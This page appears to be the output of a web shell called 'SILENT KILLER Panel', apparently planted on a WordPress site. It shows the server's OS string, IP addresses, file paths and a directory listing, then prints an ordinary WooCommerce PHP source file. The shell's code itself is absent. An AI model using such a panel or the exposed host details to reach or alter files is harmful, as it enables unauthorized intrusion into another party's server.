SILENT KILLERPanel

Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > woocommerce > > > > > src > StoreApi


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//ameliagraphics.com/wp-content/plugins/woocommerce/////src/StoreApi

NameTypeSizeLast ModifiedActions
Exceptions Directory - -
Formatters Directory - -
Payments Directory - -
Routes Directory - -
Schemas Directory - -
Utilities Directory - -
Authentication.php File 12093 bytes June 23 2025 19:46:28.
Formatters.php File 1239 bytes December 27 2023 00:45:02.
Legacy.php File 3161 bytes January 21 2025 18:53:44.
RoutesController.php File 6352 bytes May 12 2025 21:07:28.
SchemaController.php File 3315 bytes May 12 2025 21:07:28.
SessionHandler.php File 2661 bytes June 23 2025 19:46:28.
StoreApi.php File 3332 bytes April 22 2025 15:40:34.
deprecated.php File 8159 bytes December 27 2023 00:45:02.
functions.php File 2766 bytes December 27 2023 00:45:02.

Reading File: /home/codekrsu//ameliagraphics.com/wp-content/plugins/woocommerce/////src/StoreApi/Formatters.php

<?php
namespace Automattic\WooCommerce\StoreApi;

use \Exception;
use Automattic\WooCommerce\StoreApi\Formatters\DefaultFormatter;

/**
 * Formatters class.
 *
 * Allows formatter classes to be registered. Formatters are exposed to extensions via the ExtendSchema class.
 */
class Formatters {
	/**
	 * Holds an array of formatter class instances.
	 *
	 * @var array
	 */
	private $formatters = [];

	/**
	 * Get a new instance of a formatter class.
	 *
	 * @throws Exception An Exception is thrown if a non-existing formatter is used and the user is admin.
	 *
	 * @param string $name Name of the formatter.
	 * @return FormatterInterface Formatter class instance.
	 */
	public function __get( $name ) {
		if ( ! isset( $this->formatters[ $name ] ) ) {
			if ( defined( 'WP_DEBUG' ) && WP_DEBUG && current_user_can( 'manage_woocommerce' ) ) {
				throw new Exception( $name . ' formatter does not exist' );
			}
			return new DefaultFormatter();
		}
		return $this->formatters[ $name ];
	}

	/**
	 * Register a formatter class for usage.
	 *
	 * @param string $name Name of the formatter.
	 * @param string $class A formatter class name.
	 */
	public function register( $name, $class ) {
		$this->formatters[ $name ] = new $class();
	}
}

SILENT KILLER Tool